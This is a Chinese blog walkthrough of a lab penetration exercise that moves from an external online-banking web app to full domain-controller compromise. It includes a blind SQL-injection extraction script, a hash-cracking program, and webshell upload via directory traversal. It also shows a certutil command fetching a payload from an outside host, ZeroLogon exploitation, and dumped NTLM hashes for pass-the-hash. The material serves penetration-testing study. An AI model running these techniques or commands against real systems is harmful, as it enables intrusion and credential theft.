域渗透之外网打点到三层内网

VSole2022-06-11 13:15:29

环境搭建

1.项目介绍:

本次项目模拟渗透测试人员在授权的情况下,对目标进行渗透测试,从外网打点到内网横向渗透,最终获取整个内网权限。本次项目属于三层代理内网穿透,会学习到各种内网穿透技术,cobalt strike在内网中各种横行方法,也会学习到在工具利用失败的情况下,手写exp获取边界突破点进入内网,详细介绍外网各种打点方法,学习到行业流行的内网渗透测试办法,对个人提升很有帮助。

2.VPS映射

1.将ip映射到公网。在公网vps使用配置frp工具的frps.ini 运行frps.exe -c frps.ini

在web1上配置frpc.ini 运行 frpc.exe -c frp.ini

成功访问到环境

http://x.x.x.x:8088/login.jsp

信息收集

1.端口探测

使用nmap进行端口探测,发现4444、5003、8088、8899、8878端口开放。

然后查看其详细信息。

2.网站源代码查找

发现有一个网上银行系统。使用弱口令和暴力破解,没有爆破出弱口令用户。

然后就在github试试运气,发现了源码。

源码地址:

https://github.com/amateur-RD/netBank-System

发现了一个数据库文件,有一些普通用户和管理员用户的账户和密码。

3.SQL注入

然后进行登录测试,发现存在sql注入漏洞

网上银行系统Hsql注入漏洞

使用sqlmap不能进行跑出用户名和密码。

4.编写脚本进行sql注入

#coding:utf-8
import requests
password=""
url="http://x.x.x.x:8878/admin/login"
payload="0123456789abcdefghijklmnopqrstuvwxyz"
password=""
for i in range(1,20):
 for j in payload:
   exp = "admin' and(select substring(password,%s,1) from Admin) like '%s'
or '1'='" %(i,j)
   print("正在注入")
   data = {"admin.username": exp, "admin.password": 'aaaa', "type": 1}
   req = requests.post(url=url, data=data);
   if "密码不正确" in req.text:
     password+=j
     break
print(password)

成功跑出密码。然后进行登录。

登录之后,寻找文件上传或者可以获取到webshell的地方,发现没有可利用点。

5.tomexam SQL注入漏洞

在另一个地址处,发现可以注册用户。然后注册用户进行登录。

登录之后发现,某处存在sql注入。

使用sqlmap进行获取用户信息。

| 1  | 1      | 1399999999 | 1      | 超级管理员 | admin    | admin    | 17D03DA6474CE8BEB13B01E79F789E63       | 2022-04-09 00:14:08 | 301        |
| 6  | 2      |     | 1      |     | eu3      | eu3      | 4124DDEBABDF97C2430274823B3184D4 (eu3) | 2014-05-17 13:58:49 | 14

成功抓到了管理员用户和密码,然后使用md5进行解密。

成功进行登录。登录之后没有找到可getshell的地方。

6.Jspxcms-SQL注入

首页发现可以注册用户和进行登录。首先搜索历史漏洞,看看有没有getshell的地方。

发现先知的大佬做过找个版本的代码审计。参考链接:https://xz.aliyun.com/t/10891?page=1#toc-7。发现可以通过文件上传进行gethshell。

在之前的tomexam的数据库中,发现存在jspxcms,试试查找一下管理员的用户和信息。

使用sqlmap进行查找表、用户和吗密码。

成功发现了用户名和加密的密码。密码推断是明文密码+salt然后再进行md5加密。

7.编写解密脚本

通过其源码,分析其加密方式,然后编写解密脚本。

package com.jspxcms.core;
import com.jspxcms.common.security.SHA1CredentialsDigest;
import com.jspxcms.common.util.Encodes;
import java.io.File;
import java.io.FileReader;
import java.io.FileWriter;
import java.io.PrintWriter;
import java.util.Scanner;
public class Testmain {
  public static void main(String[] args)throws Exception {
    byte[] salt = Encodes.decodeHex("9b2b38ad7cb62fd9");
    SHA1CredentialsDigest test = new SHA1CredentialsDigest();
    String fileName = "D:\\csdnpass.txt";
    String fileName2 = "D:\\hashpassword2.txt";
    try (Scanner sc = new Scanner(new FileReader(fileName))) {
      while (sc.hasNextLine()) {
        String line = sc.nextLine();
        String encPass = test.digest(line, salt);
        File f = new File(fileName2);
        FileWriter fw = new FileWriter(f, true);
        PrintWriter pw = new PrintWriter(fw);
        pw.println(line + " " + encPass);
        pw.close();
     }
   }
 }
}

8.登录jspxcms后台getshell

使用管理员用户和解密出来的密码,成功进入管理员后台。

8.使用哥斯拉生成一个木马,然后使用jar,打包成为war包。

9.编写目录穿越脚本

根据先知社区的大佬提出的方法,编写目录穿越脚本。

成功进行上传。

10.获取webshell

使用哥斯拉连接webshell,成功执行命令。

内网渗透:

1.frp反向代理上线CS

首先配置内网cobalt strike内网上线

在kali启动cs服务端,

查看其端口

配置frp的frps.ini信息。

2.CS上线

cs生成监听。

然后上传.exe文件进行上线。

成功上线。

3.内网信息收集

使用shell iponfig 收集信息。

根据搭建的拓扑环境,然后测试一下与其他域内主机的连通性。

查看计算机名。

使用net view 查找域内其它主机,发现不能找到其他主机。

4.开启代理进行端口扫描

查看server2012的IP地址。

5.域内主机端口扫描

发现存在1433——Mysql的端口,尝试进行弱口令的暴力破解。

最好成功爆破出账号和密码.

6.mssqlclient 登录Mssql服务器

使用mysql用户和密码进行登录。

7.xp_cmshell进行getshell

help查看可以执行那些命令。

开启xp_cmdshell,然后进行信息收集。

使用certutil远程下载之前的木马,然后进行上线

xp_cmdshell certutil -urlcache -split -f http://x.x.x.x/artifact.exe c:/windows/temp/artifact.exe

8.使用SweetPotato (ms16-075)提权

上线之后,进行简单的信息收集。

然后使用第三方插件,利用SweetPotato (ms16-075)提权对其进行提权。

成功提权。

内网域渗透

1.内网域信息收集

使用net view查看域内主机。

使用hashdump进行抓取一些用户的hash值。

查看主机ip地址。

查看域控的Ip地址,和域控的计算机名。

2.ZeroLogon CVE-2020-1472 获取域控权限

编译zerolgin的脚本成为exe,然后进行测试,发现主机存在该漏洞。

将它设置为空密码。31d6cfe0d16ae931b73c59d7e0c089c0

3.配置代理,登录域控

配置kali的代理地址,然后进行端口扫描,测试代理是否连接。

获取域控的hash值。

Administrator:500:aad3b435b51404eeaad3b435b51404ee:81220c729f6ccb63d782a77007550f74:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:b20eb34f01eaa5ac8b6f80986c765d6d:::
sec123.cnk\cnk:1108:aad3b435b51404eeaad3b435b51404ee:83717c6c405937406f8e0a02a7215b16:::
AD01$:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SERVER2012$:1109:aad3b435b51404eeaad3b435b51404ee:cc759f89477f1595c993831ce5944e95:::

然后进行登录域控。

4.PTH上线CS

关闭防火墙,利用pth进行上线cs。

成功执行命令。

生成tcp监听,然后jump到域控主机。

5.恢复密码、原hash。

恢复密码。

使用 secretsdump.py获取其hash值。

python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCA

使用以下命令恢复域控密码。成功恢复其密码。

proxychains4 python3 reinstall_original_pw.py ad01 10.10.10.139 fb61e3c372e666adccb7a820aa39772f

靶机到这里就结束了。

最后,成功拿下整个域控。

总结:

该项目从环境搭建,使用vps将web1主机映射到公网上。通过信息收集,搜索源码,然后分析源码,进行sql注入。编写sql注入脚本进行注入,通过分析登录端的源码编写加密脚本,在编写目录穿越脚本成功获取webshell。在内网渗透中,使用frp反向代理上线cs,使用xp_cmdshell进行getshell。在域渗透中使用CVE-2020-1472获取域控权限。这台靶机中没装杀软,但是从外网打点到内网渗透,再到域渗透中的知识面是非常广的。

外网ip
本作品采用《CC 协议》,转载必须注明作者和本文链接
信息收集首先针对?子域名 IP段 端口?
Freebuf的这篇文章http://www.freebuf.com/vuls/92016.html讲了GPP的应用场景和与之对应的安全问题。
信息收集首先针对?子域名 IP段 端口?
Part1 前言 大家好,我是ABC_123,不知不觉,我一个人已经连续写了51篇原创文章了。本期复盘一次
日前,中央信办、国家发展改革委、工业和信息化部联合印发《深入推进IPv6规模部署和应用2022年工作安排》(以下简称《工作安排》)。通知要求,坚持以习近平新时代中国特色社会主义思想特别是习近平总书记关于网络强国的重要思想为指导,深入实施《关于加快推进互联网协议第六版(IPv6)规模部署和应用工作的通知》,突出创新赋能,激发主体活力,打通关键环节,夯实产业基础,增强内生动力,完善安全保障,扎实推动
web、PC、DC都处于同一域环境内,需要手动开启weblogic服务
记一次内靶场学习
2021-12-15 15:56:44
记一次内靶场学习
渗透合集(三)
2023-01-28 09:44:16
jsp端口转发渗透过程中,由于windows和linux的差别以及运行语言环境的限制导致端口转发经常出现问题。于是自己写了个简单的JSP的端口转发脚本。仿造 LCX的功能,具有正向、反向、监听三种模式。对于目前数量众多的JAVA WEB网站来说,可以比较方便的实现端口转发。在这里发布出来,小伙伴们使用过程中,如果发现什么bug欢迎提交哈~参数说明/KPortTran.jsp?lip = local ip / 本地ip //一般为内主机IP. lp = local port / 本地端口 //一般为内主机端口
因为 web 服务器同时连接了和内,所以必须首先拿下。这里有关 web 服务器的渗透不展开讲了,无非也就是利用漏洞,诸如:弱口令、上传漏洞、远程代码执行、各种 cms 漏洞,总之都是可以找到写入 webshell 的方法。成功写入 webshell 后,接着就要上传木马控制 web 服务器,这里可以用 Metasploit或 Cobaltstrike。
在全面推动IPv6的大背景下,天融信积极响应国家政策,持续加大研发力度,全部产品均已支持IPv6协议,多款产品获得IPv6 Ready Logo 认证,涵盖传统网络、云计算、大数据、物联网、车联网、工业控制、移动互联等多种业务环境。
VSole
网络安全专家